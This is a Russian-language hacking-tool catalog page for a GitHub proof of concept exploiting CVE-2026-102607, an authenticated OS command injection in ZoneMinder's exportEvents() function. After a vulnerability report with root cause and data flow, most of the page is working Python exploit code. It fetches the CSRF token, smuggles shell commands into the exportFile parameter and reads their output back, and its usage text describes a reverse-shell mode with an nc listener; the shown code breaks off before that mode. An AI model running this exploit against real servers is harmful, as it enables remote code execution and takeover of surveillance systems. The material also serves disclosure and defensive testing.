Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-102607-ZoneMinder — Python PoC, эксплуатирующий CVE-2026-102607 — аутентифицированную инъекцию команд ОС в ZoneMinder <= 1.38.1 через exportEvents(), позволяющую выполнить RCE, эксфильтрацию вывода команд и получить reverse shell. | Kitploit
Инструменты/GitHubGitHub/d4kw1n/cve-2026-102607-zoneminder
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийВеб-безопасностьТестирование на ПроникновениеКомандование и УправлениеТроян Удаленного Доступа
GitHub
d4kw1n/cve-2026-102607-zoneminder

CVE-2026-102607-ZoneMinder

Python PoC, эксплуатирующий CVE-2026-102607 — аутентифицированную инъекцию команд ОС в ZoneMinder <= 1.38.1 через exportEvents(), позволяющую выполнить RCE, эксфильтрацию вывода команд и получить reverse shell.

Репозиторий
16 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Отчёт об уязвимости безопасности: инъекция команд ОС в ZoneMinder exportEvents()

Краткое описание

В функциональности экспорта событий ZoneMinder существует уязвимость инъекции команд ОС, доступная аутентифицированному пользователю. HTTP-параметр запроса exportFile передаётся без очистки в команду оболочки, выполняемую через PHP-функцию exec(), что позволяет любому аутентифицированному пользователю с разрешением View Events выполнять произвольные команды операционной системы на сервере.

Эта уязвимость приводит к полному удалённому выполнению кода (RCE) от имени пользователя веб-сервера (www-data).

Уровень опасности

  • Оценка CVSS v3.1: 8.8. (Высокий)
  • Вектор CVSS: AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
  • CWE: CWE-78 (Ненадлежащая нейтрализация специальных элементов, используемых в команде ОС)

Уязвимые версии

  • ZoneMinder ≤ 1.38.1 (последний выпуск на момент написания)
  • Подтверждено на ZoneMinder 1.38.1

Детали уязвимости

Расположение

  • Точка входа: web/ajax/event.php, строка 103
  • Уязвимая функция: exportEvents() в web/skins/classic/includes/export_functions.php, строки 1030–1032

Первопричина

Функция exportEvents() принимает параметр $export_root, получаемый напрямую из $_REQUEST['exportFile'] (через ajax/event.php, строка 103). Этот параметр используется для построения пути к каталогу, добавляемого к командам tar и zip.

Хотя путь к файлу архива ($archive_path) в строке 1020 корректно экранируется с помощью escapeshellarg(), завершающий аргумент каталога в строке 1030 конкатенируется напрямую в строку команды без какой-либо очистки:

// Строка 1020 — корректно экранировано ✓
$command .= ' --file='.escapeshellarg($archive_path);

// Строка 1030 — НЕ экранировано ✗ (УЯЗВИМО)
$command .= ' '.$export_root.($connkey?'_'.$connkey:'').'/';

// Строка 1032 — выполнение
exec($command, $output, $status);

Злоумышленник может внедрить метасимволы оболочки (;, |, && и т. д.) в параметр exportFile, чтобы выйти за пределы предполагаемой команды tar/zip и выполнить произвольные команды. Завершающий символ /, добавляемый PHP, можно нейтрализовать с помощью # (символ комментария оболочки).

Поток данных

HTTP-запрос: $_REQUEST['exportFile']
        │
        ▼
ajax/event.php (строка 103)
    └── exportEvents(..., $_REQUEST['exportFile'])
                │
                ▼
export_functions.php (строка 890)
    └── $export_root = $_REQUEST['exportFile']   // Без очистки
                │
                ▼
export_functions.php (строка 1030)
    └── $command .= ' ' . $export_root . '/'     // Прямая конкатенация
                │
                ▼
export_functions.php (строка 1032)
    └── exec($command)                           // Выполнение команды ОС

Предварительные условия

  • Аутентификация: Любой аутентифицированный пользователь с разрешением View Events или View Snapshots.
  • CSRF-токен: Необходимо включить действительный токен __csrf_magic (получаемый с любой страницы ZoneMinder).
  • exportDetail=1: Этот параметр должен быть включён в запрос, чтобы предотвратить фатальную ошибку PHP в exportEventImagesMaster() при использовании несуществующих ID событий.

Доказательство концепции

PoC-код

#!/usr/bin/env python3
"""
=====================================================================

Affected Version : ZoneMinder <= 1.38.1
Tested On        : ZoneMinder 1.38.1 (Docker)
Vulnerability    : OS Command Injection in exportEvents()
CVSS Score       : 9.9 (Critical)
Attack Vector    : Network (Authenticated)
File             : web/skins/classic/includes/export_functions.php
Sink             : exec() at line 1032

Description:
    The exportEvents() function in ZoneMinder constructs shell commands
    for `tar` and `zip` archival using unsanitized user input from the
    `exportFile` HTTP request parameter. This parameter is used as the
    `$export_root` variable, which is directly concatenated into the
    command string passed to exec() without escapeshellarg() or any
    equivalent sanitization.

    An authenticated attacker with "View Events" permission can inject
    arbitrary OS commands by appending shell metacharacters (;) to the
    `exportFile` parameter, achieving Remote Code Execution as the
    web server user (www-data).

Usage:
    1. Start a listener on your attack machine:
       $ nc -lvnp <LPORT>

    2. Run this exploit:
       $ python3 poc.py --target http://<TARGET>/zm --lhost <LHOST> --lport <LPORT>

    3. The exploit supports three modes:
       --mode check   : Verify the vulnerability (sleep-based timing)
       --mode whoami  : Extract the output of `whoami`
       --mode revshell: Spawn a reverse shell to LHOST:LPORT

Author : d4kw1n
Date   : 2026-03-10
"""

import argparse
import re
import sys
import time
import urllib.parse

try:
    import requests
except ImportError:
    print("[-] 'requests' library required. Install with: pip install requests")
    sys.exit(1)


BANNER = r"""
  ZoneMinder - Authenticated RCE via exportEvents() Command Injection - d4kw1n
"""


class ZMExploit:
    def __init__(self, target, lhost=None, lport=None, session_cookie=None):
        self.target = target.rstrip("/")
        self.lhost = lhost
        self.lport = lport
        self.session = requests.Session()
        self.session.verify = False

        if session_cookie:
            self.session.cookies.set("ZMSESSID", session_cookie)

    def get_csrf_token(self):
        """Fetch a valid CSRF token from the target."""
        res = self.session.get(f"{self.target}/index.php", timeout=10)
        match = re.search(r'var csrfMagicToken = "(.*?)";', res.text)
        if not match:
            print("[-] Failed to extract CSRF token. Is the target reachable?")
            return None
        return match.group(1)

    def send_payload(self, payload):
        """Send the injection payload via the export action."""
        csrf = self.get_csrf_token()
        if not csrf:
            return None

        data = {
            "view": "request",
            "request": "event",
            "action": "export",
            "exportFormat": "tar",
            "exportDetail": "1",
            "eids[]": "1",
            "exportFile": payload,
            "__csrf_magic": csrf,
        }
        try:
            return self.session.post(
                f"{self.target}/index.php", data=data, timeout=30
            )
        except requests.exceptions.ReadTimeout:
            return None

    def read_output(self, filename):
        """Read exfiltrated command output via archive.php."""
        res = self.session.get(
            f"{self.target}/index.php?view=archive&type=tar&file={filename}",
            timeout=10,
        )
        return res.text.strip()

    # ── Mode: check ──────────────────────────────────────────────
    def check(self):
        """Verify the vulnerability using a timing-based approach."""
        delay = 5
        print(f"[*] Sending sleep {delay} payload for timing verification...")

        payload = f"a; sleep {delay}; #"
        start = time.time()
        self.send_payload(payload)
        elapsed = time.time() - start

        print(f"[*] Response time: {elapsed:.2f}s (expected >= {delay}s)")
        if elapsed >= delay:
            print("[+] VULNERABLE - Command injection confirmed!")
            return True
        else:
            print("[-] NOT VULNERABLE or target unreachable.")
            return False

    # ── Mode: whoami ─────────────────────────────────────────────
    def whoami(self):
        """Extract the web server user via command output exfiltration."""
        outfile = "whoami.tar"
        print(f"[*] Injecting: whoami > {outfile}")

        self.send_payload(f"a; whoami > {outfile}; #")
        result = self.read_output(outfile)
Скачать инструмент